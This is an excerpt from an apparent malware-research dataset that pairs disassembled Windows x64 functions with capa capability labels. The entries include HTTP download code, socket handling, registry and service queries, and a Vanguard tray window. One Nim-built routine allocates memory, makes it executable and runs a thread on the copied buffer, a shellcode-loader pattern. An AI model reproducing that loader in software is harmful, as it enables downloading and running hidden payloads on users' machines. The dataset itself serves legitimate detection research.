joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001080
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push r15
xor r9d, r9d
push r14
push r13
push r12
mov r12, rcx
xor ecx, ecx
push rbp
push rdi
mov rdi, rdx
xor edx, edx
push rsi
mov rsi, r8
xor r8d, r8d
push rbx
sub rsp, 0x48
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x3c], 0
call sym.InternetOpenA
mov r15, rax
test rax, rax
jne 0x1400010cb
xor r12d, r12d
xor r14d, r14d
jmp 0x1400011b8
mov rcx, r12
call sym.winstrConverterCStringToPtrChar__OOZOOZOOZOOZOnimbleZpkgsZwinim4551O57O48ZwinimZwinstr_u704
xor r9d, r9d
xor r8d, r8d
mov rcx, r15
mov qword [rsp + 0x28], 0
mov rdx, rax
mov dword [rsp + 0x20], 0x2400
call sym.InternetOpenUrlA
mov r14, rax
test rax, rax
je 0x1400010c0
mov edx, 0x400
mov ecx, 0x40
call sym.LocalAlloc
mov r12, rax
test rax, rax
je 0x1400011b5
xor ebx, ebx
xor r13d, r13d
lea rbp, [rsp + 0x3c]
mov r9, rbp
mov r8d, 0x400
mov rdx, r12
mov rcx, r14
call sym.InternetReadFile
test eax, eax
je 0x1400011b8
movsxd rdx, dword [rsp + 0x3c]
add rbx, rdx
test r13, r13
je 0x14000115a
mov r8d, 0x42
mov rdx, rbx
mov rcx, r13
call sym.LocalReAlloc
jmp 0x140001164
mov ecx, 0x40
call sym.LocalAlloc
mov r13, rax
test rax, rax
je 0x1400011b8
movsxd rcx, dword [rsp + 0x3c]
mov rdx, rbx
sub rdx, rcx
add rdx, rax
xor eax, eax
cmp rcx, rax
jg 0x1400011a8
movsxd r8, dword [rsp + 0x3c]
xor edx, edx
mov rcx, r12
call sym.memset__utils_u8
cmp dword [rsp + 0x3c], 0x3ff
mov r12, rax
jg 0x140001122
mov qword [rdi], r13
mov r13b, 1
mov qword [rsi], rbx
jmp 0x1400011bb
mov r8b, byte [r12 + rax]
mov byte [rdx + rax], r8b
inc rax
jmp 0x14000117c
xor r12d, r12d
xor r13d, r13d
mov rcx, r15
call sym.InternetCloseHandle
mov rcx, r14
call sym.InternetCloseHandle
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 0x27
call sym.InternetSetOptionW
test r12, r12
je 0x1400011ea
mov rcx, r12
call sym.LocalFree
add rsp, 0x48
mov eax, r13d
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x140001210
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r12
mov r12, rcx
xor ecx, ecx
push rbp
mov rbp, r8
mov r8d, 0x3000
push rdi
mov rdi, r9
mov r9d, 4
push rsi
mov rsi, rdx
push rbx
sub rsp, 0x40
mov dword [rsp + 0x3c], 0
call sym.VirtualAlloc
test rax, rax
jne 0x14000124b
xor r8d, r8d
jmp 0x1400012b9
lea r9, [rsp + 0x3c]
mov rdx, rsi
mov rcx, rax
mov rbx, rax
mov r8d, 0x40
call sym.VirtualProtect
test eax, eax
je 0x140001246
xor eax, eax
cmp rsi, rax
jg 0x140001296
mov qword [rsp + 0x28], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov r8, rbx
call sym.CreateThread
test rax, rax
jne 0x1400012a2
jmp 0x140001246
mov dl, byte [r12 + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x14000126a
cmp qword [rbp], 0xffffffffffffffff
je 0x1400012ad
mov qword [rbp], rbx
cmp qword [rdi], 0xffffffffffffffff
mov r8b, 1
je 0x1400012b9
mov qword [rdi], rax
add rsp, 0x40
mov eax, r8d
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140064870
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0xf0
mov rax, qword [0x1402b1510]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov edx, 0x65
mov qword [0x1402b7918], rcx
call qword [sym.imp.USER32.dll_LoadIconW]
mov rcx, qword [0x1402b7918]
mov edx, 0x66
mov qword [0x1402b7910], rax
call qword [sym.imp.USER32.dll_LoadIconW]
xor ebx, ebx
mov dword [rsp + 0x60], 0x50
mov qword [0x1402b7908], rax
lea rcx, [rsp + 0x60]
lea rax, [0x140065780]
mov qword [rsp + 0x70], rbx
mov qword [0x1402b7920], rax
xorps xmm0, xmm0
movabs rax, 0xb0006000e0001
mov qword [rsp + 0x88], rbx
mov qword [0x1402b2158], rax
lea rax, [0x14006bc60]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1402b7918]
mov qword [rsp + 0x78], rax
mov rax, qword [0x1402b7910]
mov qword [rsp + 0x80], rax
lea rax, str.VanguardTrayWindowClass
mov qword [rsp + 0xa0], rax
movdqa xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa8], rbx
mov dword [rsp + 0x64], 3
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov rax, qword [0x1402b7918]
xor r9d, r9d
mov rdx, qword [rsp + 0xa0]
xor r8d, r8d
mov qword [rsp + 0x58], rbx
xor ecx, ecx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.USER32.dll_CreateWindowExW]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140064ac0]
mov qword [0x1402b7900], rax
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1400649c3
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400698a0
xorps xmm0, xmm0
lea rcx, [rsp + 0xb0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0xd0], xmm0
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140064a3b
nop dword [rax]
cmp eax, 0xffffffff
je 0x140064a3b
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0xb0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140064a00
cmp qword [0x1402b7900], rbx
je 0x140064a5d
call fcn.14006bdd0
mov rcx, qword [0x1402b7900]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov qword [0x1402b7900], rbx
xor eax, eax
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1401d08c0
add rsp, 0xf0
pop rbx
ret

Function at 0x140064a80
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.140064ad0
test al, al
jne 0x140064aa9
nop dword [rax]
call fcn.140064e30
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140064ad0
test al, al
je 0x140064a90
call fcn.14006b880
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140065510
Capabilities:
Encode data using xor
Hash data using fnv
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x980]
sub rsp, 0xa80
mov rax, qword [0x1402b1510]
xor rax, rsp
mov qword [rbp + 0x970], rax
xor ebx, ebx
mov dword [rsp + 0x3c], ebx
mov dword [rsp + 0x38], 0xa07
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 1]
xor r8d, r8d
lea rdx, str.Software_vgk
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14006574c
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3c]
xor r8d, r8d
lea rdx, str.KBToastNotification
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140065741
mov r9d, dword [rsp + 0x38]
test r9d, r9d
jne 0x1400655c4
mov edx, ebx
jmp 0x1400655f5
mov edx, 0x811c9dc5
mov rcx, rbx
test r9d, r9d
je 0x1400655f5
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x60]
xor eax, edx
imul edx, eax, 0x1000193
inc rcx
cmp rcx, r9
jb 0x1400655e0
cmp edx, dword [0x1402b78e0]
je 0x140065741
mov dword [0x1402b78e0], edx
lea ecx, [r9 - 7]
cmp ecx, 2
jb 0x140065741
movzx eax, word [rsp + 0x61]
cmp eax, ecx
jae 0x140065741
movzx eax, word [rsp + 0x63]
cmp eax, ecx
jae 0x140065741
movzx eax, word [rsp + 0x65]
cmp eax, ecx
jae 0x140065741
cmp byte [rsp + 0x60], 2
jae 0x140065741
mov eax, ecx
shr rax, 1
mov word [rsp + rax*2 + 0x65], bx
movzx eax, word [rsp + 0x65]
lea rsi, [rsp + 0x67]
lea rsi, [rsi + rax*2]
movzx eax, word [rsp + 0x63]
lea r14, [rsp + 0x67]
lea r14, [r14 + rax*2]
movzx eax, word [rsp + 0x61]
lea rdi, [rsp + 0x67]
lea rdi, [rdi + rax*2]
movzx eax, byte [rsp + 0x60]
lea rdx, [0x140292190]
mov rdx, qword [rdx + rax*8]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], bx
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x1400656b0
lea rcx, [rsp + 0x40]
call fcn.1400631d0
nop
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x1400656c6
mov r8, rbx
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.1400617f0
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r8, qword [rsp + 0x40]
mov r9d, 2
mov rdx, r14
mov rcx, rsi
call fcn.14006b8b0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140065741
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006573c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140065778
call fcn.1401d08e0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x970]
xor rcx, rsp
call fcn.1401d08c0
lea r11, [rsp + 0xa80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1401d73a4
int3
Function at 0x140068270
Capabilities:
Create thread
Query service status

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r14
sub rsp, 0x60
mov rax, qword [0x1402b1510]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp qword [rcx + 0x18], 8
mov rbp, r8
mov r14, rdx
mov rbx, rcx
mov rsi, rcx
jb 0x1400682a5
mov rsi, qword [rcx]
mov r12d, 1
xor edx, edx
mov r8d, r12d
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
je 0x140068445
lea r8d, [r12 + 3]
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rsi, rsi
je 0x140068445
mov rcx, rsi
mov qword [rsp + 0x98], r15
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea ecx, [r12 + 0x57]
call fcn.1401d08e8
mov rdi, rax
xorps xmm0, xmm0
xor eax, eax
lea rsi, [rdi + 0x20]
xor r15d, r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
movups xmmword [rdi], xmm0
xor ecx, ecx
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
movups xmmword [rdi + 0x40], xmm0
mov qword [rdi + 0x50], rax
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], 7
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x10], r14
mov qword [rdi + 8], rax
mov qword [rdi + 0x18], rbp
cmp rsi, rbx
je 0x140068371
cmp qword [rbx + 0x18], 8
mov rdx, rbx
jb 0x140068365
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rsi
call fcn.1400631d0
mov qword [rdi + 0x40], r15
mov dword [rdi + 0x50], r15d
mov byte [rdi], r12b
cmp qword [rbx + 0x18], 8
jb 0x140068386
mov rbx, qword [rbx]
mov r8d, r12d
xor edx, edx
xor ecx, ecx
xor sil, sil
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbp, rax
test rax, rax
je 0x140068416
mov r8d, 4
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
je 0x1400683d9
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
movzx esi, sil
mov rcx, rbx
test eax, eax
cmovne esi, r12d
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test sil, sil
je 0x140068416
mov eax, dword [rsp + 0x34]
add eax, 0xfffffffe
cmp eax, 5
ja case.0x140068404.2
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x68468]
add rcx, rdx
jmp rcx
mov dword [rdi + 0x50], 2
jmp 0x140068416
mov dword [rdi + 0x50], 3
mov qword [rsp + 0x28], r15
lea r8, [0x140068110]
mov r9, rdi
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r15, qword [rsp + 0x98]
mov qword [rdi + 0x48], rax
mov rax, rdi
jmp 0x140068447
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1401d08c0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14006ccf0
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rsi
sub rsp, 0x1d0
mov rax, qword [0x1402b1510]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov eax, dword [0x1402b2ac0]
mov esi, 1
mov r8d, eax
mov ebx, ecx
add eax, esi
mov dword [0x1402b2ac0], eax
test r8d, r8d
je 0x14006cd33
xor eax, eax
jmp 0x14006cdbb
test dl, dl
je 0x14006cd7d
lea rax, [fcn.1401df0cc]
mov qword [section..data], rax
lea rax, [fcn.1401d7128]
mov qword [fcn.1401d7128], rax
lea rax, [0x1401df0d4]
mov qword [0x1402ac010], rax
lea rax, [0x1401e6a8c]
mov qword [0x1402ac018], rax
lea rax, [fcn.1401d741c]
mov qword [fcn.1401d741c], rax
call fcn.140077cac
test eax, eax
je 0x14006cdb6
test bl, 2
je 0x14006cddc
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14006cdb6
movzx eax, word [rsp + 0x20]
cmp al, 2
jne 0x14006cdb0
shr ax, 8
cmp al, 2
je 0x14006cddc
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1401d08c0
mov rbx, qword [rsp + 0x1e0]
add rsp, 0x1d0
pop rsi
ret
call fcn.140061320
test eax, eax
jne 0x14006cdb6
call fcn.140074f30
mov eax, dword [0x1402b2bec]
test bl, 4
mov dword [0x1402b2ac4], ebx
cmovne eax, esi
mov dword [0x1402b2bec], eax
call fcn.14007ff30
jmp 0x14006cd2c

Function at 0x1400733a0
Capabilities:
Hash data using djb2

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x140073441
call fcn.1400736c0
test al, al
jne 0x140073441
xor esi, esi
or rdi, 0xffffffffffffffff
inc rdi
cmp byte [rbx + rdi], sil
jne 0x1400733ca
mov r8, rdi
mov edx, reloc.WLDAP32.dll_Ordinal_46
mov rcx, rbx
call fcn.14008b2f0
test rax, rax
je 0x14007340f
sub rax, rbx
mov edx, reloc.WLDAP32.dll_Ordinal_46
mov r8, rax
mov rcx, rbx
call fcn.14008b2f0
mov rsi, rax
test rax, rax
je 0x14007340f
inc rsi
mov rcx, rbx
sub rcx, rsi
add rdi, rcx
test rsi, rsi
cmovne rbx, rsi
lea rsi, [rdi + rbx]
mov edi, 0x1505
jmp 0x140073436
mov cl, byte [rbx]
call fcn.14008003c
imul rdi, rdi, 0x21
movsx rcx, al
xor rdi, rcx
inc rbx
cmp rbx, rsi
jb 0x140073421
movzx eax, dil
jmp 0x140073443
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14007dbc8
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
xor ebx, ebx
movsxd rsi, edx
mov rbp, r9
mov r14, r8
mov rdi, rcx
cmp qword [rcx + 0x750], rbx
je 0x14007dc2a
mov dl, 1
call fcn.14006f9cc
mov rax, qword [rdi + 0x6a0]
mov r9, rbp
mov r8, r14
mov qword [rsp + 0x20], rax
mov edx, esi
mov rcx, rdi
call qword [rdi + 0x750]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call fcn.14006f9cc
jmp 0x14007dc75
mov ecx, esi
test edx, edx
je 0x14007dc3a
sub ecx, 1
je 0x14007dc3a
cmp ecx, 1
jne 0x14007dc75
mov r9, qword [rdi + 0x698]
lea rax, [0x1402037f8]
mov edx, 2
lea rcx, [rsi + rsi*2]
add rcx, rax
lea r8d, [rdx - 1]
call fcn.1401db3d4
mov r9, qword [rdi + 0x698]
mov r8d, 1
mov rdx, rbp
mov rcx, r14
call fcn.1401db3d4
mov rbp, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x14007dec8
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x14007def9
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, gethostname
cmp eax, 0x2733
lea edx, [rcx + 0x19]
cmove ecx, edx
mov eax, ecx
jmp 0x14007defd
mov dword [rbx], eax
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x14007e08c
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rbx, rcx
mov r14, r9
movsxd rcx, edx
mov r15, r8
mov rdi, rcx
shl rdi, 5
mov rax, qword [rbx + 0x408]
mov rbp, qword [rbx + rcx*8 + 0x240]
mov rsi, qword [rdi + rbx + 0x290]
sub rsi, qword [rdi + rbx + 0x298]
test byte [rax + 0x7c], 3
je 0x14007e1af
lea rax, [0x14007df38]
cmp qword [rbx + rcx*8 + 0x268], rax
jne 0x14007e1af
cmp qword [rdi + rbx + 0x288], 0
je 0x14007e109
test rsi, rsi
je 0x14007e1af
or r8, 0xffffffffffffffff
xor r9d, r9d
or rdx, r8
mov rcx, rbp
call fcn.14007d7f8
cmp eax, 0xffffffff
je 0x14007e1af
test al, 1
je 0x14007e1af
mov rax, qword [rdi + rbx + 0x288]
test rax, rax
jne 0x14007e17c
mov rax, qword [rbx]
mov ecx, dword [rax + 0xba0]
add ecx, ecx
movsxd rcx, ecx
mov qword [rdi + rbx + 0x290], rcx
call qword [section..data]
and qword [rdi + rbx + 0x298], 0
and qword [rdi + rbx + 0x2a0], 0
mov rsi, qword [rdi + rbx + 0x290]
mov qword [rdi + rbx + 0x288], rax
test rax, rax
je 0x14007e1a6
mov rdx, qword [rdi + rbx + 0x298]
xor r9d, r9d
add rdx, rax
mov r8d, esi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x14007e1af
cdqe
add qword [rdi + rbx + 0x298], rax
jmp 0x14007e1af
and qword [rdi + rbx + 0x290], 0
xor r9d, r9d
mov r8d, r14d
mov rdx, r15
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
mov r14, qword [rsp + 0x60]
mov edi, eax
and dword [r14], 0
cmp eax, 0xffffffff
jne 0x14007e217
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
cmp eax, 0x2733
jne 0x14007e1eb
xor edi, edi
mov dword [r14], 0x51
jmp 0x14007e217
mov edx, esi
mov rcx, rbx
call fcn.1400a3b6c
mov rcx, qword [rbx]
lea rdx, str.Send_failure:__s
mov r8, rax
call fcn.14007dc94
mov rax, qword [rbx]
mov dword [rax + 0x11ac], esi
mov dword [r14], gethostname
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x14007e71c
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1402b1510]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp byte [rcx + 0x2c8], 0
je 0x14007e755
call fcn.1400776ac
test eax, eax
jne 0x14007e779
xor al, al
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1401d08c0
add rsp, 0x38
ret
mov rcx, qword [rcx + 0x240]
cmp rcx, 0xffffffffffffffff
je 0x14007e741
mov r9d, 2
lea rdx, [rsp + 0x20]
lea r8d, [r9 - 1]
call qword [sym.imp.WS2_32.dll_recv]
jmp 0x14007e73d
mov al, 1
jmp 0x14007e743
Function at 0x14007eea4
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x1402b1510]
xor rax, rsp
mov qword [rsp + 0x40], rax
and dword [rsp + 0x30], 0
mov rbx, rcx
mov eax, dword [0x1402b2bf0]
mov dword [rsp + 0x34], 0x4020
mov dword [rsp + 0x38], 4
test eax, eax
jne 0x14007ef08
xor edx, edx
lea ecx, [rax + 6]
lea r9d, [rax + 3]
lea r8d, [rax + 2]
call fcn.1400a3f2c
test al, al
je 0x14007eefd
mov dword [0x1402b2bf0], 2
jmp 0x14007ef5f
mov eax, 1
mov dword [0x1402b2bf0], eax
cmp eax, 2
je 0x14007ef5f
lea rax, [rsp + 0x38]
mov edx, 0xffff
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r8d, 0x1001
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x14007ef3e
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x30], eax
jg 0x14007ef5f
lea r9, [rsp + 0x34]
mov dword [rsp + 0x20], 4
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1401d08c0
add rsp, 0x50
pop rbx
ret

Function at 0x14007f060
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x48
mov rax, qword [0x1402b1510]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov r8d, 1
mov dword [rsp + 0x20], 4
mov rcx, rdx
mov dword [rsp + 0x30], r8d
lea r9, [rsp + 0x30]
lea edx, [r8 + 5]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1401d08c0
add rsp, 0x48
ret
Function at 0x14007f1b4
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x140
mov rax, qword [0x1402b1510]
xor rax, rsp
mov qword [rsp + 0x130], rax
cmp dword [rcx + 0xbc], 2
mov rbx, rdx
mov rbp, qword [rcx]
mov rsi, rcx
je 0x14007f365
cmp byte [rcx + 0x3c2], 0
jne 0x14007f35d
cmp byte [rcx + 0x3de], 0
jne 0x14007f35d
mov edi, 0x80
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0xb0]
mov dword [rsp + 0x20], edi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x14007f254
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rsi
mov ebx, eax
call fcn.1400a3b6c
lea rdx, str.getpeername___failed_with_errno__d:__s
mov r8d, ebx
mov r9, rax
mov rcx, rbp
call fcn.14007dc94
jmp 0x14007f365
mov r8, rdi
mov dword [rsp + 0x20], edi
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1401d2e50
lea r8, [rsp + 0x20]
mov rcx, rbx
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x14007f299
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rsi
mov ebx, eax
call fcn.1400a3b6c
lea rdx, str.getsockname___failed_with_errno__d:__s
jmp 0x14007f241
lea rbx, [rsi + 0x18e]
mov rdx, rbx
lea r8, [rsi + 0x1bc]
lea rcx, [rsp + 0xb0]
call fcn.14007e90c
test al, al
jne 0x14007f2e3
call fcn.1401d74dc
mov ebx, dword [rax]
call fcn.1401d74dc
mov edx, ebx
mov rcx, rsi
mov rdi, rax
call fcn.1400a3b6c
mov r8d, dword [rdi]
lea rdx, str.ssrem_inet_ntop___failed_with_errno__d:__s
jmp 0x14007f244
movups xmm0, xmmword [rbx]
mov eax, dword [rbx + 0x28]
lea r8, [rsi + 0x1f0]
movups xmm1, xmmword [rbx + 0x10]
lea rdx, [rsi + 0x1c0]
movups xmmword [rsi + 0x88], xmm0
lea rcx, [rsp + 0x30]
movsd xmm0, qword [rbx + 0x20]
movups xmmword [rsi + 0x98], xmm1
movsd qword [rsi + 0xa8], xmm0
mov dword [rsi + 0xb0], eax
movzx eax, word [rbx + 0x2c]
mov word [rsi + 0xb4], ax
call fcn.14007e90c
test al, al
jne 0x14007f35d
call fcn.1401d74dc
mov ebx, dword [rax]
call fcn.1401d74dc
mov edx, ebx
mov rcx, rsi
mov rdi, rax
call fcn.1400a3b6c
mov r8d, dword [rdi]
lea rdx, str.ssloc_inet_ntop___failed_with_errno__d:__s
jmp 0x14007f244
mov rcx, rsi
call fcn.14007edc0
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1401d08c0
mov rbx, qword [rsp + 0x170]
add rsp, 0x140
pop rdi
pop rsi
pop rbp
ret